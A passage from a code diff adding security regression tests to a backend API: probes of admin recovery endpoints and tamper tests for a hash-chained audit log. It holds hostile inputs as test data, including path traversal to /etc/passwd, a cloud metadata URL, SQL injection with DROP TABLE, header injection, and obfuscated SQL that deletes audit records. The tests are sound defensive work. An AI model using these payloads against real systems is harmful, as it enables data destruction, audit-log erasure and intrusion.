+    assert response.status_code < 500, f"{value!r} produced {response.status_code}"
+
+
+# --------------------------------------------------------------------- path traversal
+
+
+@pytest.mark.parametrize(
+    "candidate",
+    [
+        "../escape",
+        "../../etc",
+        "nested/../../escape",
+        "..",
+        "/absolute",
+        "C:/Windows",
+        "~/home",
+        "\\\\server\\share",
+        "%2e%2e/passwd",
+        "a/../../b",
+    ],
+)
+def test_a_traversing_backup_identity_never_escapes_the_allowlisted_root(
+    client: Any, candidate: str
+) -> None:
+    """The identity becomes a directory name, so the pattern must refuse traversal outright."""
+
+    response = client.post(
+        "/api/v1/admin/recovery/backups",
+        headers=ADMIN,
+        json={"backup_id": candidate, "reason": "M16 traversal probe"},
+    )
+    assert response.status_code == 422, response.text
+
+
+@pytest.mark.parametrize(
+    "destination",
+    [
+        "sqlite:///../../etc/passwd",
+        "postgresql://u:p@h:5432/../../etc",
+        'postgresql://u:p@h:5432/d";drop table models;--',
+        "postgresql://u:p@h:5432/",
+        "file:///etc/passwd",
+        "http://169.254.169.254/",
+        "postgresql+psycopg://u:p@h:5432/d\x00",
+    ],
+)
+def test_an_unsafe_restore_destination_is_refused(client: Any, destination: str) -> None:
+    response = client.post(
+        "/api/v1/admin/recovery/restore-plans",
+        headers=ADMIN,
+        json={
+            "backup_set_id": str(uuid.uuid4()),
+            "mode": "VALIDATION",
+            "target_environment": "ISOLATED",
+            "target_label": "m16-destination",
+            "database_destination": destination,
+            "artifact_strategy": "NONE",
+            "secret_strategy": "ROTATE",
+            "node_strategy": "NONE",
+            "reason": "M16 unsafe destination probe",
+        },
+    )
+    assert response.status_code in (404, 409, 422), response.text
+    assert response.status_code < 500
+
+
+# --------------------------------------------------------------------- identifiers
+
+
+@pytest.mark.parametrize(
+    "identifier",
+    [
+        "not-a-uuid",
+        "00000000-0000-0000-0000-00000000000",
+        "../../etc/passwd",
+        "1 OR 1=1",
+        "%00",
+        "e" * 500,
+        "00000000-0000-0000-0000-000000000000'; DROP TABLE backup_sets; --",
+    ],
+)
+def test_a_malformed_path_identifier_is_refused_before_any_query(
+    client: Any, identifier: str
+) -> None:
+    response = client.get(f"/api/v1/admin/recovery/backups/{identifier}", headers=ADMIN)
+    assert response.status_code in (404, 422), response.text
+    assert response.status_code < 500
+
+
+def test_a_well_formed_but_unknown_identifier_returns_a_typed_not_found(client: Any) -> None:
+    response = client.get(f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", headers=ADMIN)
+    assert response.status_code == 404
+    assert response.json()["error"]["code"] == "backup_not_found"
+
+
+# --------------------------------------------------------------------- query bounds
+
+
+@pytest.mark.parametrize("limit", ["0", "-1", "999999", "abc", "1e10", "null", "", "1;2"])
+def test_an_out_of_range_or_malformed_limit_is_refused(client: Any, limit: str) -> None:
+    response = client.get(f"/api/v1/admin/recovery/backups?limit={limit}", headers=ADMIN)
+    assert response.status_code == 422, response.text
+
+
+def test_a_valid_limit_is_accepted(client: Any) -> None:
+    assert client.get("/api/v1/admin/recovery/backups?limit=10", headers=ADMIN).status_code == 200
+
+
+# --------------------------------------------------------------------- payload size
+
+
+def test_an_oversized_body_is_refused_rather_than_buffered_into_memory(client: Any) -> None:
+    payload = {"backup_id": "m16-oversized", "reason": "x" * (5 * 1024 * 1024)}
+    response = client.post("/api/v1/admin/recovery/backups", headers=ADMIN, json=payload)
+    assert response.status_code in (413, 422), response.text
+    assert response.status_code < 500
+
+
+def test_a_deeply_nested_body_is_refused(client: Any) -> None:
+    nested: Any = "leaf"
+    for _ in range(500):
+        nested = {"n": nested}
+    response = client.post(
+        "/api/v1/admin/recovery/backups",
+        headers=ADMIN,
+        json={"backup_id": "m16-nested", "reason": "M16 nesting probe", "milestone": nested},
+    )
+    assert response.status_code in (400, 422), response.text
+    assert response.status_code < 500
+
+
+# --------------------------------------------------------------------- error redaction
+
+
+def test_an_error_response_never_carries_internal_detail(client: Any) -> None:
+    response = client.get(f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", headers=ADMIN)
+    body = response.text
+    for needle in (
+        "Traceback",
+        "site-packages",
+        "sqlalchemy",
+        "psycopg",
+        "postgresql+psycopg",
+        "/app/",
+        "modelforge:modelforge",
+        "PGPASSWORD",
+        "m16-operator-key",
+    ):
+        assert needle not in body, f"error response leaked {needle!r}"
+
+
+def test_a_validation_error_echoes_no_credential(client: Any) -> None:
+    response = client.post(
+        "/api/v1/admin/recovery/backups",
+        headers=ADMIN,
+        json={"backup_id": 1, "reason": "probe"},
+    )
+    assert response.status_code == 422
+    assert "m16-operator-key" not in response.text
+
+
+def test_every_error_response_is_a_typed_envelope(client: Any) -> None:
+    for method, path, payload in (
+        ("GET", f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", None),
+        ("GET", "/api/v1/admin/recovery/backups?limit=0", None),
+        ("POST", "/api/v1/admin/recovery/backups", {"backup_id": 1}),
+    ):
+        response = client.request(method, path, headers=ADMIN, json=payload)
+        body = response.json()
+        assert set(body) == {"error"}
+        assert {"code", "message", "correlation_id"} <= set(body["error"])
+        assert body["error"]["correlation_id"]
+
+
+def test_a_correlation_id_is_echoed_for_tracing(client: Any) -> None:
+    response = client.get(
+        "/api/v1/admin/recovery/backups",
+        headers={**ADMIN, "x-correlation-id": "m16-trace-1"},
+    )
+    assert response.headers["x-correlation-id"] == "m16-trace-1"
+
+
+# --------------------------------------------------------------------- header injection
+
+
+@pytest.mark.parametrize(
+    "value",
+    ["m16\r\nX-Injected: yes", "m16\nSet-Cookie: a=b", "m16\x00truncated"],
+)
+def test_a_header_injection_attempt_never_produces_an_extra_header(
+    client: Any, value: str
+) -> None:
+    try:
+        response = client.get(
+            "/api/v1/admin/recovery/backups", headers={**ADMIN, "x-correlation-id": value}
+        )
+    except Exception:  # noqa: BLE001 - the client refusing the header is also a valid outcome
+        return
+    assert "X-Injected" not in response.headers
+    assert "Set-Cookie" not in response.headers
+
+
+# --------------------------------------------------------------------- operator boundary
+
+
+@pytest.mark.parametrize(
+    ("method", "path"),
+    [
+        ("GET", "/api/v1/admin/recovery/dashboard"),
+        ("GET", "/api/v1/admin/recovery/backups"),
+        ("POST", "/api/v1/admin/recovery/backups"),
+        ("GET", "/api/v1/admin/recovery/fingerprint"),
+        ("POST", "/api/v1/admin/recovery/retention/run"),
+        ("GET", "/api/v1/admin/operations/overview"),
+        ("GET", "/metrics"),
+    ],
+)
+def test_an_operator_route_is_closed_to_a_capability_credential(
+    client: Any, method: str, path: str
+) -> None:
+    """A gateway bearer token is not an operator credential and must never behave like one."""
+
+    for headers in (
+        {},
+        {"Authorization": "Bearer mfsvc_a_valid_looking_capability_secret"},
+        {"X-ModelForge-Admin-Token": "mfsvc_a_valid_looking_capability_secret"},
+        {"X-ModelForge-Admin-Token": ""},
+    ):
+        response = client.request(method, path, headers=headers)
+        assert response.status_code == 401, f"{path} accepted {headers}"
+
+
+# --------------------------------------------------------------------- error serialisation
+
+
+@pytest.mark.parametrize(
+    "body",
+    [b'{"backup_id": NaN}', b'{"backup_id": Infinity}', b'{"backup_id": -Infinity}'],
+    ids=_label,
+)
+def test_a_non_serialisable_number_does_not_crash_the_error_handler(
+    client: Any, body: bytes
+) -> None:
+    """M16 regression.
+
+    Python's JSON parser accepts NaN and Infinity but its serialiser rejects them. The validation
+    handler echoed the rejected value straight back, so one of these bodies made the error response
+    itself fail to serialise — turning a 422 into a server error on unauthenticated-shaped input.
+    """
+
+    response = client.post(
+        "/api/v1/admin/recovery/backups",
+        headers={**ADMIN, "Content-Type": "application/json"},
+        content=body,
+    )
+    assert response.status_code == 422, response.text
+    payload = response.json()
+    assert payload["error"]["code"] == "request_validation_failed"
+    assert payload["error"]["correlation_id"]
+
+
+def test_an_echoed_rejected_value_is_truncated(client: Any) -> None:
+    """Rejected input is unbounded by definition and must not be mirrored back in full."""
+
+    response = client.post(
+        "/api/v1/admin/recovery/backups",
+        headers=ADMIN,
+        json={"backup_id": "z" * 50000, "reason": "M16 echo bound probe"},
+    )
+    assert response.status_code == 422
+    assert len(response.text) < 5000, f"error response was {len(response.text)} bytes"
+
+
+def test_the_renderable_helper_handles_every_shape_it_may_meet() -> None:
+    from modelforge_api.main import MAX_ECHOED_INPUT_CHARACTERS, _renderable
+
+    assert _renderable(float("nan")) == "nan"
+    assert _renderable(float("inf")) == "inf"
+    assert _renderable(float("-inf")) == "-inf"
+    assert _renderable(1.5) == 1.5
+    assert _renderable(True) is True
+    assert _renderable(None) is None
+    assert _renderable(7) == 7
+    assert _renderable("a" * 1000) == "a" * MAX_ECHOED_INPUT_CHARACTERS
+    assert _renderable(b"bytes") == "bytes"
+    assert _renderable([float("inf"), "x"]) == ["inf", "x"]
+    assert _renderable({"k": float("nan")}) == {"k": "nan"}
+    assert len(_renderable(list(range(100)))) == 20
+    assert len(_renderable({str(index): index for index in range(100)})) == 20
+    assert isinstance(_renderable(object()), str)
+
+    import json as json_module
+
+    json_module.dumps(
+        {
+            "nan": _renderable(float("nan")),
+            "nested": _renderable({"deep": [float("inf")]}),
+        },
+        allow_nan=False,
+    )

backend/tests/test_audit_integrity_rc.py

@@ -0,0 +1,909 @@
+"""RC audit-chain integrity and compatibility regressions."""
+
+from __future__ import annotations
+
+import inspect as pyinspect
+import uuid
+from collections.abc import Iterator
+from contextlib import contextmanager
+from datetime import UTC, datetime, timedelta
+from types import SimpleNamespace
+from typing import Any, cast
+from unittest.mock import Mock
+
+import pytest
+from sqlalchemy import create_engine, delete, event, func, insert, select, text, update
+from sqlalchemy.dialects import postgresql
+from sqlalchemy.engine import Connection, Engine
+from sqlalchemy.orm import Session
+
+import modelforge_api.domain.audit as audit_domain
+import modelforge_api.persistence.models as persistence_models
+from modelforge_api.db import build_engine
+from modelforge_api.domain.audit import AUDIT_EMPTY_LEGACY_PREFIX_SEAL
+from modelforge_api.persistence.models import (
+    AuditChainHead,
+    AuditEvent,
+    Base,
+    _protected_audit_dml_targets,
+    _textual_audit_dml_targets,
+)
+from modelforge_api.persistence.repositories import AuditRepository
+from modelforge_api.services.audit import (
+    AUDIT_CHAIN_POSTGRES_LOCK_KEY,
+    AUDIT_CURRENT_HASH_FORMAT,
+    AUDIT_HASH_FORMAT_V1,
+    AuditContext,
+    AuditWriter,
+    _acquire_audit_write_lock,
+    audit_chain_violations,
+    canonical_audit_payload_and_hash,
+    legacy_audit_prefix_seal,
+)
+from modelforge_api.services.invariants import InvariantStatus, check_invariants
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def _seed_chain(session: Session, count: int = 3) -> list[AuditEvent]:
+    writer = AuditWriter(session, "operator", "alice")
+    events = [
+        writer.write(
+            action=f"ACTION_{index}",
+            resource_type="model",
+            resource_id=f"model-{index}",
+            details={"index": index, "evidence": {"approved": True}},
+        )
+        for index in range(1, count + 1)
+    ]
+    session.commit()
+    return events
+
+
+def _audit_invariant(session: Session) -> Any:
+    return next(
+        result
+        for result in check_invariants(session).results
+        if result.key == "audit_chain_intact"
+    )
+
+
+def _checkpoint(session: Session) -> AuditChainHead:
+    checkpoint = session.get(AuditChainHead, 1)
+    assert checkpoint is not None
+    return checkpoint
+
+
+@contextmanager
+def _privileged_database_connection(session: Session) -> Iterator[Connection]:
+    """Use a direct Engine connection to model a database administrator/compromise."""
+
+    session.commit()
+    engine = session.get_bind()
+    assert isinstance(engine, Engine)
+    with engine.begin() as connection:
+        yield connection
+    session.expire_all()
+
+
+def _privileged_tamper(session: Session, statement: Any) -> None:
+    with _privileged_database_connection(session) as connection:
+        connection.execute(statement)
+
+
+def _application_engine(tmp_path: Any) -> Engine:
+    database = tmp_path / "application-audit-boundary.sqlite3"
+    url = f"sqlite+pysqlite:///{database.as_posix()}"
+    setup = create_engine(url)
+    Base.metadata.create_all(setup)
+    setup.dispose()
+    return build_engine(url)
+
+
+def test_fresh_metadata_database_has_a_valid_empty_checkpoint(session: Session) -> None:
+    checkpoint = _checkpoint(session)
+    assert checkpoint.event_count == 0
+    assert checkpoint.last_sequence == 0
+    assert checkpoint.last_event_hash is None
+    assert checkpoint.legacy_prefix_seal == AUDIT_EMPTY_LEGACY_PREFIX_SEAL
+    assert audit_chain_violations([], checkpoint) == []
+
+    AuditWriter(session, "operator", "first-legitimate-writer").write(
+        "FIRST_EVENT", "model", "model-1", {}
+    )
+    session.commit()
+    events = list(session.scalars(select(AuditEvent)))
+    assert audit_chain_violations(events, _checkpoint(session)) == []
+
+
+def test_a_canonical_chain_is_contiguous_linked_and_content_verified(session: Session) -> None:
+    _seed_chain(session)
+    events = list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence)))
+
+    assert [event.sequence for event in events] == [1, 2, 3]
+    assert events[0].previous_event_hash is None
+    assert events[1].previous_event_hash == events[0].event_hash
+    assert events[2].previous_event_hash == events[1].event_hash
+    assert audit_chain_violations(events, _checkpoint(session)) == []
+    assert _audit_invariant(session).status is InvariantStatus.HOLDS
+
+
+def test_writer_stores_the_exact_detached_payload_that_it_hashes(session: Session) -> None:
+    details = {"evidence": {"approved": True}}
+    event = AuditWriter(session, "operator", "alice").write(
+        "APPROVE", "revision", "revision-1", details
+    )
+    details["evidence"]["approved"] = False
+    session.commit()
+
+    assert event.details == {"evidence": {"approved": True}}
+    assert audit_chain_violations([event], _checkpoint(session)) == []
+
+
+def test_audit_context_preserves_request_correlation_and_principal(session: Session) -> None:
+    context = AuditContext(
+        actor_type="operator",
+        actor_id="principal-42",
+        correlation_id="request-correlation-42",
+    )
+    writer = AuditWriter(session, context=context)
+    writer.write("START", "operation", "op-1", {})
+    writer.write("COMPLETE", "operation", "op-1", {})
+    session.commit()
+
+    events = list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence)))
+    assert {event.actor_id for event in events} == {"principal-42"}
+    assert {event.correlation_id for event in events} == {"request-correlation-42"}
+    assert audit_chain_violations(events, _checkpoint(session)) == []
+
+
+def test_legacy_audit_repository_uses_the_canonical_writer(session: Session) -> None:
+    event = AuditRepository(session).append(
+        correlation_id="repository-correlation",
+        actor_type="system",
+        actor_id="repository-test",
+        action="SYNC",
+        resource_type="project",
+        resource_id="project-1",
+        outcome="success",
+        details={"count": 2},
+    )
+    session.commit()
+
+    assert event.sequence == 1
+    assert audit_chain_violations([event], _checkpoint(session)) == []
+
+
+@pytest.mark.parametrize(
+    ("column", "tampered_value"),
+    [
+        ("correlation_id", "tampered-correlation"),
+        ("actor_type", "tampered-actor-type"),
+        ("actor_id", "mallory"),
+        ("action", "TAMPERED_ACTION"),
+        ("resource_type", "tampered-resource"),
+        ("resource_id", "tampered-resource-id"),
+        ("outcome", "failure"),
+        ("details", {"tampered": True}),
+        ("previous_event_hash", "b" * 64),
+        ("event_hash", "c" * 64),
+    ],
+)
+def test_every_hashed_field_and_both_hash_columns_are_tamper_evident(
+    session: Session,
+    column: str,
+    tampered_value: object,
+) -> None:
+    _seed_chain(session)
+    _privileged_tamper(
+        session,
+        update(AuditEvent)
+        .where(AuditEvent.sequence == 2)
+        .values({column: tampered_value}),
+    )
+    session.commit()
+
+    result = _audit_invariant(session)
+    assert result.status is InvariantStatus.VIOLATED
+    assert result.violations
+
+
+def test_a_non_null_first_link_is_detected(session: Session) -> None:
+    _seed_chain(session)
+    _privileged_tamper(
+        session,
+        update(AuditEvent)
+        .where(AuditEvent.sequence == 1)
+        .values(previous_event_hash="d" * 64),
+    )
+    session.commit()
+
+    result = _audit_invariant(session)
+    assert result.status is InvariantStatus.VIOLATED
+    assert any("first event" in violation for violation in result.violations)
+
+
+def test_a_sequence_gap_is_detected_even_when_remaining_numbers_are_unique(
+    session: Session,
+) -> None:
+    _seed_chain(session)
+    _privileged_tamper(
+        session, delete(AuditEvent).where(AuditEvent.sequence == 2)
+    )
+    session.commit()
+
+    result = _audit_invariant(session)
+    assert result.status is InvariantStatus.VIOLATED
+    assert any("expected 2" in violation for violation in result.violations)
+
+
+@pytest.mark.parametrize("field", ["id", "occurred_at"])
+def test_v2_event_id_and_timestamp_are_tamper_evident(
+    session: Session, field: str
+) -> None:
+    _seed_chain(session)
+    tampered = (
+        uuid.uuid4()
+        if field == "id"
+        else datetime.now(UTC) + timedelta(days=1)
+    )
+    _privileged_tamper(
+        session,
+        update(AuditEvent)
+        .where(AuditEvent.sequence == 2)
+        .values({field: tampered}),
+    )
+    session.commit()
+    assert _audit_invariant(session).status is InvariantStatus.VIOLATED
+
+
+@pytest.mark.parametrize("retained", [2, 0])
+def test_checkpoint_detects_tail_and_complete_chain_deletion(
+    session: Session, retained: int
+) -> None:
+    _seed_chain(session)
+    _privileged_tamper(
+        session, delete(AuditEvent).where(AuditEvent.sequence > retained)
+    )
+    session.commit()
+
+    result = _audit_invariant(session)
+    assert result.status is InvariantStatus.VIOLATED
+    assert any("checkpoint" in violation for violation in result.violations)
+
+
+def test_privileged_middle_tamper_is_caught_by_the_explicit_strict_gate(
+    session: Session,
+) -> None:
+    _seed_chain(session)
+    _privileged_tamper(
+        session,
+        update(AuditEvent)
+        .where(AuditEvent.sequence == 2)
+        .values(details={"attacker": "changed-without-moving-head"}),
+    )
+    session.commit()
+
+    # The O(1) append gate intentionally does not rescan a sealed middle prefix. A privileged
+    # database edit remains visible to the explicit full-chain invariant/recovery verification.
+    AuditWriter(session, "operator", "legitimate-writer").write(
+        "LEGITIMATE_APPEND", "model", "4", {}
+    )
+    session.commit()
+    assert len(list(session.scalars(select(AuditEvent)))) == 4
+    assert _audit_invariant(session).status is InvariantStatus.VIOLATED
+
+
+def test_privileged_tail_tamper_is_refused_by_the_constant_time_append_gate(
+    session: Session,
+) -> None:
+    _seed_chain(session)
+    _privileged_tamper(
+        session,
+        update(AuditEvent)
+        .where(AuditEvent.sequence == 3)
+        .values(details={"attacker": "changed-tail"}),
+    )
+    session.commit()
+
+    with pytest.raises(RuntimeError, match="checkpoint/tail failed"):
+        AuditWriter(session, "operator", "legitimate-writer").write(
+            "REFUSED_AFTER_TAIL_TAMPER", "model", "4", {}
+        )
+    assert len(list(session.scalars(select(AuditEvent)))) == 3
+
+
+def test_mixed_migrated_v1_prefix_and_v2_suffix_remain_verifiable(session: Session) -> None:
+    occurred_at = datetime(2026, 8, 29, 12, 0, tzinfo=UTC)
+    previous_hash: str | None = None
+    legacy: list[AuditEvent] = []
+    for sequence in (1, 2):
+        event_id = uuid.uuid4()
+        payload, event_hash = canonical_audit_payload_and_hash(
+            correlation_id=f"legacy-{sequence}",
+            actor_type="operator",
+            actor_id="legacy",
+            action=f"LEGACY_{sequence}",
+            resource_type="model",
+            resource_id=str(sequence),
+            outcome="success",
+            details={"sequence": sequence},
+            previous_event_hash=previous_hash,
+            hash_format=AUDIT_HASH_FORMAT_V1,
+        )
+        row = AuditEvent(
+            id=event_id,
+            sequence=sequence,
+            occurred_at=occurred_at + timedelta(seconds=sequence),
+            hash_format=AUDIT_HASH_FORMAT_V1,
+            event_hash=event_hash,
+            **payload,
+        )
+        legacy.append(row)
+        previous_hash = event_hash
+    with _privileged_database_connection(session) as connection:
+        connection.execute(
+            insert(AuditEvent),
+            [
+                {
+                    "id": row.id,
+                    "sequence": row.sequence,
+                    "occurred_at": row.occurred_at,
+                    "hash_format": row.hash_format,
+                    "event_hash": row.event_hash,
+                    "correlation_id": row.correlation_id,
+                    "actor_type": row.actor_type,
+                    "actor_id": row.actor_id,
+                    "action": row.action,
+                    "resource_type": row.resource_type,
+                    "resource_id": row.resource_id,
+                    "outcome": row.outcome,
+                    "details": row.details,
+                    "previous_event_hash": row.previous_event_hash,
+                }
+                for row in legacy
+            ],
+        )
+        connection.execute(
+            update(AuditChainHead)
+            .where(AuditChainHead.singleton_id == 1)
+            .values(
+                event_count=2,
+                last_sequence=2,
+                last_event_hash=previous_hash,
+                hash_format=AUDIT_CURRENT_HASH_FORMAT,
+                v2_start_sequence=3,
+                legacy_prefix_count=2,
+                legacy_prefix_seal=legacy_audit_prefix_seal(legacy),
+                updated_at=datetime.now(UTC),
+            )
+        )
+    session.commit()
+
+    AuditWriter(session, "operator", "new-writer").write("V2", "model", "3", {})
+    session.commit()
+    events = list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence)))
+    assert [row.hash_format for row in events] == ["v1", "v1", "v2"]
+    assert audit_chain_violations(events, _checkpoint(session)) == []
+
+    _privileged_tamper(
+        session,
+        update(AuditEvent)
+        .where(AuditEvent.sequence == 1)
+        .values(occurred_at=datetime.now(UTC)),
+    )
+    session.commit()
+    assert any(
+        "prefix seal" in violation
+        for violation in audit_chain_violations(events, _checkpoint(session))
+    )
+    AuditWriter(session, "operator", "new-writer").write(
+        "APPEND_AFTER_PRIVILEGED_PREFIX_TAMPER", "model", "4", {}
+    )
+    session.commit()
+    assert _audit_invariant(session).status is InvariantStatus.VIOLATED
+
+
+def test_ordinary_orm_code_cannot_update_the_checkpoint_separately(session: Session) -> None:
+    _seed_chain(session, count=1)
+    checkpoint = _checkpoint(session)
+    checkpoint.event_count = 0
+
+    with pytest.raises(ValueError, match="canonical audit writer"):
+        session.commit()
+    session.rollback()
+
+    with pytest.raises(ValueError, match="canonical audit writer"):
+        session.execute(
+            update(AuditChainHead)
+            .where(AuditChainHead.singleton_id == 1)
+            .values(event_count=0)
+        )
+    session.rollback()
+
+
+def test_exact_bulk_delete_and_head_rewrite_poc_is_refused_but_writer_succeeds(
+    session: Session,
+) -> None:
+    _seed_chain(session, count=3)
+    before = (
+        _checkpoint(session).event_count,
+        _checkpoint(session).last_sequence,
+        _checkpoint(session).last_event_hash,
+    )
+
+    with pytest.raises(ValueError, match="canonical audit writer"):
+        session.execute(delete(AuditEvent))
+        session.execute(
+            update(AuditChainHead)
+            .where(AuditChainHead.singleton_id == 1)
+            .values(event_count=0, last_sequence=0, last_event_hash=None)
+        )
+    session.rollback()
+
+    assert len(list(session.scalars(select(AuditEvent)))) == 3
+    head = _checkpoint(session)
+    assert (head.event_count, head.last_sequence, head.last_event_hash) == before
+
+    appended = AuditWriter(session, "operator", "legitimate-writer").write(
+        "LEGITIMATE_APPEND", "model", "model-4", {}
+    )
+    session.commit()
+    assert appended.sequence == 4
+    assert audit_chain_violations(
+        list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence))),
+        _checkpoint(session),
+    ) == []
+
+
+@pytest.mark.parametrize(
+    "statement",
+    [
+        delete(AuditChainHead),
+        insert(AuditChainHead).values(
+            singleton_id=1,
+            event_count=0,
+            last_sequence=0,
+            last_event_hash=None,
+            hash_format="v2",
+            v2_start_sequence=1,
+            legacy_prefix_count=0,
+            legacy_prefix_seal=AUDIT_EMPTY_LEGACY_PREFIX_SEAL,
+        ),
+        update(AuditEvent).values(action="BULK_TAMPER"),
+        insert(AuditEvent).values(
+            id=uuid.uuid4(),
+            sequence=99,
+            occurred_at=datetime.now(UTC),
+            correlation_id="bulk",
+            actor_type="attacker",
+            actor_id="attacker",
+            action="BULK_INSERT",
+            resource_type="audit",
+            resource_id=None,
+            outcome="success",
+            details={},
+            previous_event_hash=None,
+            event_hash="a" * 64,
+            hash_format="v2",
+        ),
+        text("delete from audit_events"),
+    ],
+)
+def test_ordinary_session_dml_has_no_audit_bypass(session: Session, statement: Any) -> None:
+    with pytest.raises(ValueError, match="canonical audit writer"):
+        session.execute(statement)
+    session.rollback()
+
+
+def test_ordinary_orm_and_legacy_bulk_inserts_cannot_create_audit_events(
+    session: Session,
+) -> None:
+    payload = {
+        "id": uuid.uuid4(),
+        "sequence": 1,
+        "occurred_at": datetime.now(UTC),
+        "correlation_id": "ordinary",
+        "actor_type": "attacker",
+        "actor_id": "attacker",
+        "action": "INSERT",
+        "resource_type": "audit",
+        "resource_id": None,
+        "outcome": "success",
+        "details": {},
+        "previous_event_hash": None,
+        "event_hash": "a" * 64,
+        "hash_format": "v2",
+    }
+    session.add(AuditEvent(**payload))
+    with pytest.raises(ValueError, match="canonical audit writer"):
+        session.flush()
+    session.rollback()
+
+    with pytest.raises(ValueError, match="application session connection"):
+        session.bulk_insert_mappings(AuditEvent, [payload])
+    session.rollback()
+
+
+def test_aliased_and_annotated_core_dml_resolve_the_protected_base_table(
+    session: Session,
+) -> None:
+    event_alias = AuditEvent.__table__.alias("erased_events")
+    head_alias = AuditChainHead.__table__.alias("forged_head")
+    statements = [
+        delete(event_alias),
+        update(head_alias).values(
+            event_count=0,
+            last_sequence=0,
+            last_event_hash=None,
+        ),
+        delete(AuditEvent.__table__._annotate({"reviewer": "alias-control"})),
+        update(
+            AuditChainHead.__table__._annotate({"reviewer": "alias-control"})
+        ).values(event_count=0, last_sequence=0, last_event_hash=None),
+    ]
+
+    for statement in statements:
+        assert _protected_audit_dml_targets(statement)
+        compiled = str(statement.compile(dialect=postgresql.dialect()))
+        assert _textual_audit_dml_targets(compiled)
+        with pytest.raises(ValueError, match="canonical audit writer"):
+            session.execute(statement)
+        session.rollback()
+
+
+def test_exact_aliased_delete_and_head_rewrite_poc_is_refused(
+    session: Session,
+) -> None:
+    _seed_chain(session, count=3)
+    event_alias = AuditEvent.__table__.alias("erased_events")
+    head_alias = AuditChainHead.__table__.alias("forged_head")
+
+    with pytest.raises(ValueError, match="canonical audit writer"):
+        session.execute(delete(event_alias))
+    session.rollback()
+    with pytest.raises(ValueError, match="canonical audit writer"):
+        session.execute(
+            update(head_alias).values(
+                event_count=0,
+                last_sequence=0,
+                last_event_hash=None,
+            )
+        )
+    session.rollback()
+
+    appended = AuditWriter(session, "operator", "legitimate-writer").write(
+        "APPEND_AFTER_ALIASED_POC", "model", "model-4", {}
+    )
+    session.commit()
+    assert appended.sequence == 4
+    assert audit_chain_violations(
+        list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence))),
+        _checkpoint(session),
+    ) == []
+
+
+@pytest.mark.parametrize(
+    "statement",
+    [
+        "/* leading /* nested */ comment */ DELETE\nFROM [main].[audit_events]",
+        "-- leading decoy\nUPDATE `main`.`audit_chain_heads` "
+        "SET event_count=0, last_sequence=0, last_event_hash=NULL",
+        'INSERT /* gap */ INTO "public"."audit_events" (id) VALUES (NULL)',
+        "WITH doomed AS (SELECT 1) DELETE FROM audit_events",
+        "TRUNCATE TABLE harmless_table, audit_events",
+        "MERGE INTO public.audit_chain_heads AS head USING incoming ON false "
+        "WHEN MATCHED THEN DELETE",
+        "COPY audit_events FROM STDIN",
+        "DROP TABLE harmless_table, audit_chain_heads",
+        "DO $$ BEGIN DELETE FROM audit_events; END $$",
+        "CALL rewrite_audit_chain()",
+    ],
+)
+def test_session_connection_exec_driver_sql_blocks_obfuscated_audit_dml(
+    session: Session, statement: str
+) -> None:
+    connection = session.connection()
+    with pytest.raises(ValueError, match="raw audit DML"):
+        connection.exec_driver_sql(statement)
+    session.rollback()
+
+
+@pytest.mark.parametrize(
+    "statement",
+    [
+        "SELECT 'delete from audit_events' AS harmless",
+        "/* DELETE FROM audit_events */ SELECT 1",
+        "-- UPDATE audit_chain_heads SET event_count=0\nSELECT 1",
+    ],
+)
+def test_raw_sql_lexer_ignores_non_executable_comments_and_strings(
+    session: Session, statement: str
+) -> None:
+    assert _textual_audit_dml_targets(statement) == frozenset()
+    assert session.connection().exec_driver_sql(statement).scalar_one() in {
+        "delete from audit_events",
+        1,
+    }
+    session.rollback()
+
+
+def test_raw_sql_lexer_ignores_postgresql_dollar_quoted_decoys() -> None:
+    assert (
+        _textual_audit_dml_targets(
+            "SELECT $audit$DELETE FROM audit_events$audit$, "
+            "$$UPDATE audit_chain_heads SET event_count=0$$"
+        )
+        == frozenset()
+    )
+
+
+def test_raw_sql_lexer_classifies_postgresql_unicode_quoted_identifiers() -> None:
+    assert _textual_audit_dml_targets('DELETE FROM U&"audit_events"') == frozenset(
+        {"audit_events"}
+    )
+
+
+def test_direct_engine_raw_tamper_is_outside_hook_boundary_but_strictly_detected(
+    session: Session,
+) -> None:
+    _seed_chain(session, count=2)
+    with _privileged_database_connection(session) as connection:
+        connection.exec_driver_sql(
+            "UPDATE audit_events SET action='PRIVILEGED_RAW_TAMPER' WHERE sequence=1"
+        )
+
+    events = list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence)))
+    assert any(
+        "content hash" in violation
+        for violation in audit_chain_violations(events, _checkpoint(session))
+    )
+
+
+def test_every_connection_from_the_application_engine_blocks_audit_dml(
+    tmp_path: Any,
+) -> None:
+    engine = _application_engine(tmp_path)
+    try:
+        with Session(engine) as session:
+            AuditWriter(session, "operator", "legitimate").write(
+                "LEGITIMATE", "model", "model-1", {}
+            )
+            session.commit()
+            bind = session.bind
+            assert isinstance(bind, Engine)
+            with pytest.raises(ValueError, match="audit"), bind.begin() as connection:
+                connection.exec_driver_sql(
+                    " /* ordinary connection */ DELETE FROM audit_events"
+                )
+
+        with pytest.raises(ValueError, match="audit"), engine.begin() as connection:
+            connection.exec_driver_sql(
+                'UPDATE "audit_chain_heads" SET event_count=0, last_sequence=0, '
+                "last_event_hash=NULL"
+            )
+        with Session(engine) as session:
+            assert session.scalar(select(func.count()).select_from(AuditEvent)) == 1
+            assert _checkpoint(session).event_count == 1
+    finally:
+        engine.dispose()
+
+
+def test_late_statement_rewrite_is_rolled_back_before_commit(tmp_path: Any) -> None:
+    engine = _application_engine(tmp_path)
+    try:
+        with Session(engine) as session:
+            AuditWriter(session, "operator", "legitimate").write(
+                "LEGITIMATE", "model", "model-1", {}
+            )
+            session.commit()
+
+        def late_rewrite(
+            _connection: Any,
+            _cursor: Any,
+            statement: str,
+            parameters: Any,
+            _context: Any,
+            _executemany: bool,
+        ) -> tuple[str, Any]:
+            if statement.strip().upper() == "SELECT 1":
+                return "DELETE FROM audit_events", parameters
+            return statement, parameters
+
+        event.listen(engine, "before_cursor_execute", late_rewrite, retval=True)
+        try:
